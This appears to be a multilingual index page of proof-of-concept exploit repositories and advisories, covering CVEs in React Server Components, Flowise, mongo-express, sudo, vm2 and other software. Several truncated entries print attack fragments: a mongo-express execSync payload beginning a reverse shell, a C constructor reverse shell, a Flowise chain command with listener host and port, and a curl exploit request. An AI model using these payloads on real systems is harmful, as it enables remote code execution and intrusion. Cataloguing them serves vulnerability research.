CVE-2025-55182

CVE-2025-55182 Ce dépôt contient une reproduction de preuve de concept PoC de CVE-2025-55182 , une vulnérabilité critique de sécurité dans les composants serveur React RSC permettant l'exécution de code arbitraire sans authentification. Description La vulnérabilité réside dans la manière dont les...

CVE-2026-41242

CVE-2026-41242 — инъекция кода в protobuf.js с переходом к RCE CVSS 9.4 Critical | Инъекция кода CWE-94 Обзор protobuf.js npm: protobufjs версий ≤ 7.5.4 и ≤ 8.0.0 содержит уязвимость выполнения произвольного кода через имена типов в protobuf-схеме. Модуль @protobufjs/codegen подставляет имя типа...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Удаленное выполнение кода PoC Go proof of concept для CVE-2025-59528 , нацеленный на версии Flowise Пример go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

sudoinjection

CVE-2025-32463 : Escalade de privilèges locaux via l'injection NSS sudo -R Résumé Cette POC démontre l'escalade de privilèges locaux sur les systèmes Linux via l'abus de l'option sudo -R combinée à un module NSS personnalisé. Elle cible la vulnérabilité CVE-2025-32463, qui découle d'une gestion n...

CVE-2025-59528-POC

CVE-2025-59528 - Exécution de code à distance dans FlowiseAI CustomMCP CVSS 10.0 Critique | RCE aveugle | FlowiseAI Flowise = 2.2.7-patch.1 et 3.0.6 Présentation Une vulnérabilité critique d'exécution de code à distance dans le nœud CustomMCP de FlowiseAI Flowise. La fonction...

CVE-2025-59528

CVE-2025-59528 – Nœud CustomMCP de Flowise RCE PoC Aperçu Ce dépôt contient une preuve de concept démontrant CVE-2025-59528 dans Flowise v3.0.5 La vulnérabilité existe dans le nœud customMCP, où l'entrée mcpServerConfig fournie par l'utilisateur est traitée d'une manière qui conduit à l'exécution...

CVE-2025-55182

CVE-2025-55182 Si vous cherchez une véritable explication, msanft/CVE-2025-55182 en propose une bonne avec un PoC fonctionnel. Ce dépôt ne contient que quelques trucs que j'ai essayés, qui ont donné des résultats plus ou moins intéressants. ./thing.py contient désormais un PoC fonctionnel, dont l...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise — это интерфейс перетаскивания для создания пользовательского потока большой языковой модели. В версии 3.0.5 Flowise уязвим к удалённому выполнению кода. Узел CustomMCP позволяет пользователям вводить настройки конфигурации для подключения к внешнему MCP-серверу. Этот...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1: просто выводит include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell include include include include char serverip=""; uint32t serverport=7777; static vo...

vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector

Reporter - Name or handle: YMsora - Report date: 2026-08-14 Summary The latest published vm2 release, 3.11.5, and the current main branch are vulnerable to a sandbox escape when used on Node.js 26. An ordinary fulfilled Promise created by an async function can retain an attacker-controlled...

CVE-2025-55182

CVE-2025-55182 Ce dépôt contient une reproduction à titre de preuve de concept PoC de CVE-2025-55182 , une vulnérabilité de sécurité critique dans les serveurs React Server Components RSC qui permet l'exécution de code arbitraire sans authentification. Description La vulnérabilité réside dans la...

Rocky Linux 8 [CIQ] Security Update: prometheus-jmx-exporter / prometheus-jmx-exporter-openjdk11 / etc (crlsa-2022_9058)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20229058 advisory. SnakeYaml: Constructor Deserialization Remote Code Execution CVE-2022-1471 Tenable has extracted the preceding description block directly from the CIQ security...

CVE-2026-102992

piscina is a node.js worker pool implementation. Prior to 4.9.4, 5.3.2, and 6.0.0-rc.5, Piscina stores ThreadPool.options in src/index.ts as a plain object that inherits from Object.prototype. Applications with a separate prototype-pollution primitive can therefore supply inherited values for...

CVE-2026-102600

Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 0.1.1, @socket.io/cluster-engine uses inherited object properties when looking up attacker-controlled session IDs in clustered deployments. Special property names such as proto or constructor can resolve...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Chaîne d'exploitation pour deux vulnérabilités affectant Flowise -c "id" Reverse shell avec une clé existante : python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Option| D...

CVE-2026-40897

CVE-2026-40897 Exécution de code à distance dans l'analyseur d'expressions Math.js ★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Présentation CVE-2026-40897 est une vulnérabilité de contournement de...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Le bug de désérialisation qui a brisé le Web ⚡ React2Shell, CVE-2025-55182, Vulnérabilité RCE : Une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet l'exécution de code à distance non authentifiée sur les...

CVE-2018-6574

CVE-2018-6574 Шаги для воспроизведения: 1. Создайте .c файл, содержащий вредоносную команду revshell: include include static void malicious attributeconstructor; void malicious system""; 2. Скомпилируйте его с помощью GCC. Компиляция должна производиться на той же архитектуре и ОС, что и цель...

CVE-2019-10758

CVE-2019-10758 Preuve de concept Installation docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit cURL curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...